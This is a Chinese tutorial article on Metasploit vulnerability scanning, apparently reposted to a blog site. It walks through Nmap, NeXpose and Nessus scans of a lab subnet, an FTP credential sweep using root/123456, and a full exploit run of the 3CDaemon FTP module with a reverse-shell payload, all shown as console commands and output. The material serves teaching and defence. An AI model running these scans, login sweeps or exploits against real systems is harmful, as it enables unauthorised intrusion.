Metasploit与漏洞扫描

一 漏洞及漏洞发掘方法

漏洞,是指在硬件、软件、协议实现或系统安全策略上存在缺陷,攻击者能够在未授权的情况下对系统进行访问或破坏。它会成为入侵者侵入系统和植入恶意软件的入口,影响系统用户的切身利益。漏洞与目标系统的操作系统版本、软件版本以及服务设置密切相关。研究漏洞必须要了解当前计算机系统及其安全问题的最新发展动态。常见的漏洞包括缓冲区溢出漏洞、跨站脚本漏洞(XSS)、SQL注入漏洞、数据库漏洞以及WEB应用漏洞等。

常见的漏洞发掘方法分为以下几种。

m  黑盒攻击(Fuzzing):即通过注入数据进行自动化测试。

m  获取攻击对象的源代码进行审计:网络上有很多源代码审计工具可供使用,如Fortify。

m  反汇编审计:如果无法获取到源代码,可以基于汇编码进行反汇编审计。IDA是一款常用的反汇编软件。

m  动态跟踪分析:通过记录程序在不同条件下执行操作(如文件操作),分析这些操作序列是否存在问题。

m  补丁比较:厂商软件的问题通常都会在补丁中解决,如微软的Windows操作系统会不定期发布补丁程序,通过对比补丁前后文件的源码(或反汇编码)就能了解漏洞的具体细节。

目前,针对常用的漏洞发掘方法已经开发出了很多漏洞扫描工具。漏洞扫描工具是一种能在计算机、信息系统、网络及应用软件中查找安全弱点的程序。通过对目标系统进行探测,向目标系统发送数据,并将反馈结果与漏洞特征库进行匹配,分析出目标系统上存在的安全漏洞。比较常用的漏洞扫描工具有Metasploit、Nmap、NeXpose、Nessus、Xscan等。

二 Metasploit Framework工具简介

Metasploit Framework是一个强大的开源平台,为渗透测试、shellcode 编写和漏洞研究提供了一个可靠环境。它集成了各种常见的溢出漏洞和shellcode ,并且不断更新。当前版本收集了上千个实用的溢出攻击程序及一些辅助工具,操作简单,易用性好。当然,它不只是一个简单的收集工具,还提供了所有的类和方法,以便开发人员使用这些代码方便快速的进行二次开发。漏洞扫描只是Metasploit Framewotk众多功能中的一种,本文只介绍它的漏洞扫描功能。

Metasploit Framework的总体架构如图1所示,它包含Exploit、Auxiliary、Payload等多个模块:

m  Exploit是攻击模块,基本上目前所有的操作系统在Metasploit Framework上均有对应的攻击模块;

m  Auxiliary是辅助模块,用途非常广泛,它可以作为扫描器、拒绝服务攻击工具、Fuzz测试器,以及其他类型的工具;

m  Payload是在目标系统被攻陷之后执行的代码,如添加用户账号,获取shell交互权限等;

图1 Metasploit Framework整体架构

三 Metasploit的几种漏洞扫描组件

1      Nmap

Nmap适用于Winodws、Linux、Mac等操作系统。它用于主机发现、端口发现或枚举、服务发现,检测操作系统、硬件地址、软件版本以及脆弱性的漏洞。Metasploit Framework平台集成了Nmap组件。通常在对目标系统发起攻击之前需要进行一些必要的信息收集,如获取网络中的活动主机、主机开放的端口等。

Nmap扫描存活主机及主机运行的服务:

nmap -P0 192.168.20.1-10,扫描结果显示网络中活动的主机有7台,且列举出了每台主机运行的服务及主机MAC地址。

msf > nmap -P0 192.168.20.1-10

[*] exec: nmap -P0 192.168.20.1-10

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:47 ????????????

Nmap scan report for 192.168.20.1

Host is up (0.00014s latency).

Not shown: 995 closed ports

PORT      STATE    SERVICE

23/tcp    open     telnet

80/tcp    open     http

MAC Address: 00:0F:E2:69:5D:E2 (Hangzhou H3C Technologies Co.)

……

Nmap scan report for 192.168.20.4

Host is up (0.0098s latency).

Not shown: 986 closed ports

PORT      STATE SERVICE

21/tcp    open  ftp

80/tcp    open  http

135/tcp   open  msrpc

443/tcp   open  https

445/tcp   open  microsoft-ds

902/tcp   open  iss-realsecure

912/tcp   open  apex-mesh

3389/tcp  open  ms-wbt-server

MAC Address: 68:05:CA:0E:BF:59 (Intel)

……

Nmap done: 10 IP addresses (7 hosts up) scanned in 17.53 seconds

msf >

Nmap扫描操作系统和服务软件版本信息:

msf > nmap -A -T4 192.168.20.4,Nmap显示的扫描结果相当详细,列出了目标服务器192.168.20.4上运行的操作系统是微软的Windows 7或者Windows 2008,提供FTP服务的软件是3Com 3CDaemon FTP Server,版本号为2.0,并且使用匿名账号anonymous可以登陆成功。

msf > nmap -A -T4 192.168.20.4

[*] exec: nmap -A -T4 192.168.20.4

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-06 15:54 ????????????

Nmap scan report for 192.168.20.4

Host is up (0.0074s latency).

Not shown: 986 closed ports

PORT      STATE SERVICE         VERSION

21/tcp    open  ftp             3Com 3CDaemon ftpd 2.0

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_ftp-bounce: bounce working!

80/tcp    open  http            HttpFileServer httpd 1.5g

|_http-title: JAX SERVER- /

135/tcp   open  msrpc           Microsoft Windows RPC

443/tcp   open  ssl/http        VMware VirtualCenter Web service

445/tcp   open  netbios-ssn

902/tcp   open  ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)

912/tcp   open  vmware-auth     VMware Authentication Daemon 1.0 (Uses VNC, SOAP)

3389/tcp  open  ms-wbt-server   Microsoft Terminal Service

MAC Address: 68:05:CA:0E:BF:59 (Intel)

Device type: general purpose

Running: Microsoft Windows 7|2008

TRACEROUTE

HOP RTT     ADDRESS

1   7.38 ms 192.168.20.4

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 203.48 seconds

msf >

2      NeXpose

NeXpose通过扫描网络,可以查找出网络上正在运行的设备,并识别出设备的操作系统和应用程序的漏洞,并对扫描出的数据进行分析和处理,生成漏洞扫描报告。

首先,如图2所示,在Metasploit Framework中加载NeXpose插件:

图2 加载NeX

pose插件

使用nexpose_scan命令对目标主机进行漏洞扫描:

msf > nexpose_scan 192.168.20.4

[*]Scanning 1 address with template pentest-audit in sets of 32

[*]Completed the scan of 1 address

msf >

查看漏洞扫描结果,扫描程序发现了7个漏洞:

msf > db_hosts –c address

Hosts

=====

address       Svcs       Vulns        Workspace

-------       ----       -----        ---------

192.168.20.4  8          7             default

msf>

输入db_vulns可以显示已发现漏洞的详细情况:

msf > db_vulns

[*]Time Mon Jun 2013:10:31 UTC 2010 vuln: host=192.168.20.4 port=445proto=tcp name=Nss-26920refs=CVE-1999-0519,CVE-2002-1117,BID-494,OSVDB-299

……

For the sake of brevity,we will just let db_autopwn exploit the low-hanging fruit for us and only run exploit with at least a “good” rating

msf >

3      Nessus

Nessus是当前使用最广泛的漏洞扫描工具之一。Nessus采用client/sever模式,服务器端负责进行安全检查,客户端用来配置管理服务器端。在服务端还采用了plug-in的体系,允许用户加入执行特定功能的插件,这插件可以进行更快速和更复杂的安全检查。

如图3所示,在Metasploit Framework中加载Nessus插件:

图3    加载Nessus插件

创建扫描任务:

msf > nessus_scan_new 2 test_scan 192.168.20.4

[*]Creating scan from policy number 2,called “test_scan” and scanning 192.168.20.4

[*]Scan started.uid is d2f1fc02-3b50-4e4e-ab8f-q12jsiey8209384ndjsieksjfdjieb

msf>

查看扫描运行状态,“No Scans Running”表示扫描已完成:

msf > db_hosts –c address

[*] No Scans Running

msf>

查看扫描结果,扫描程序发现345个漏洞:

msf > db_hosts –c address,svcs,vulns

Hosts

=====

address       Svcs       Vulns

-------       ----       -----

192.168.20.4  18         345

msf>

从扫描结果可以看出,对同一个目标主机进行扫描,Nessus扫描出的漏洞数量与NeXpose扫描出的数量有明显的差异。通过对不同工具的扫描结果进行对比分析,对了解扫描工具本身,和更精确地确定目标系统存在的漏洞都是非常有帮助的。

4      Metasploit的专用FTP扫描器

除了集成的扫描工具,Metasploit自带的辅助模块,可以针对网络中特定的漏洞进行扫描。下面以FTP扫描为例,介绍Metasploit自带扫描器的使用方法。

选择ftp_login模块,扫描网段192.168.20.1-10中能使用固定用户名和密码root/123456登陆主机:

msf > use auxiliary/scanner/ftp/ftp_login

msf  auxiliary(ftp_login) > set USERNAME root

USERNAME => root

msf  auxiliary(ftp_login) > set PASSWORD 123456

PASSWORD => 123456

msf  auxiliary(ftp_login) > set RHOSTS 192.168.20.1-10

RHOSTS => 192.168.20.1-10

msf  auxiliary(ftp_login) > run

[*] 192.168.20.1:21 - Starting FTP login sweep

[*] Connecting to FTP server 192.168.20.1:21...

……

[*] 192.168.20.1:21 FTP - [1/1] - Attempting FTP login for 'root':'123456'

[+] 192.168.20.1:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.1:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.4:21...

[*] Connected to target FTP server.

[+] 192.168.20.4:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.4:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.6:21...

[*] Connected to target FTP server.

[+] 192.168.20.6:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.6:21 - User 'root' has READ/WRITE access

……

[*] Connecting to FTP server 192.168.20.9:21...

[*] Connected to target FTP server.

[+] 192.168.20.9:21 - Successful FTP login for 'root':'123456'

[*] 192.168.20.9:21 - User 'root' has READ/WRITE access

[*] Scanned 10 of 10 hosts (100% complete)

[*] Auxiliary module execution completed

查看输出结果,10个IP中有4台FTP Server均能使用root/123456账号登陆,并且含有读写权限。通常在公司内网里,很多人习惯使用简单的账号,没有足够的安全意识,当攻击者成功入侵内网后,这些工作站将非常危险。

四Metasploit的一个攻击实例

漏洞扫描仅仅是Metasploit Framework强大功能的冰山一角,下面简单说明一下Metasploit执行一次攻击测试的方法。利用上面Nmap的扫描结果,选取192.168.20.4上所运行的3Com 3CDaemon FTP Server为攻击目标。通过前面的扫描可以得到目标主机运行的操作系统及应用程序版本的详细信息,如图4所示,在Metasploit Framework里搜索针对3CDaemon的攻击脚本:

图4  搜索针对3CDaemon的攻击脚本

use命令进入搜索到的exploit:

msf > use exploit/windows/ftp/3cdaemon_ftp_user

msf  exploit(3cdaemon_ftp_user) >

Set RHOST命令设置攻击目标机的IP地址:

msf  exploit(3cdaemon_ftp_user) > set RHOST 192.168.20.4

RHOST => 192.168.20.4

Set target命令设置目标机的操作系统类型:

msf  exploit(3cdaemon_ftp_user) > set target 4

target => 4

设置完成之后, show options显示设置好的参数信息:

msf  exploit(3cdaemon_ftp_user) > show options

Module options (exploit/windows/ftp/3cdaemon_ftp_user):

Name     Current Setting      Required  Description

----     ---------------      --------  -----------

FTPPASS  mozilla@example.com  no        The password for the specified username

FTPUSER  anonymous              no        The username to authenticate as

RHOST    192.168.20.4          yes        The target address

RPORT    21                      yes        The target port

Payload options (windows/shell_reverse_tcp):

Name      Current Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  seh                yes       Exit technique: seh, thread, process, none

LHOST     192.168.20.67     yes       The listen address

LPORT     4444                yes       The listen port

Exploit target:

Id  Name

--  ----

4   Windows XP English SP3

输入exploit命令,开始攻击:

msf  exploit(3cdaemon_ftp_user) > exploit

[*] Started reverse handler on 192.168.20.67:4444

[*] Trying target Windows XP English SP3...

msf  exploit(3cdaemon_ftp_user) >

如图5所示查看目标机3CDaemon FTP软件显示崩溃,攻击成功!

图5  3CDaemon FTP崩溃

分析抓包结果,可以看出该FTP攻击脚本是利用超长用户名(如图6所示)导致FTP Server崩溃的。

图6   抓包结果

五 结束语

避免黑客攻击,部署专门的漏洞检测防御系统是非常必要的。Metasploit提供了丰富的扫描功能、攻击脚本及二次开发的平台,使网络安全漏洞检测变得相对容易。H3C的IPS(Intrusion Prevention System)采用系统的防御方法,结合智能的规则识别技术可以对各种漏洞攻击进行有效的防御。为应对技术的更新,H3C攻防团队会主动关注网络上新的攻击方式,并将分析结果及时添加到IPS特征库中供客户升级使用。对于系统维护者来说,积极主动的查找漏洞并打上相应补丁,同时结合专业的防御设备进行入侵防御,毫无疑问是维护系统安全的最佳方法。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,012评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,589评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,819评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,652评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,954评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,381评论 1 210
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,687评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,404评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,082评论 1 238
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,355评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,880评论 1 255
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,249评论 2 250
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,864评论 3 232
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,007评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,760评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,394评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,281评论 2 259

推荐阅读更多精彩内容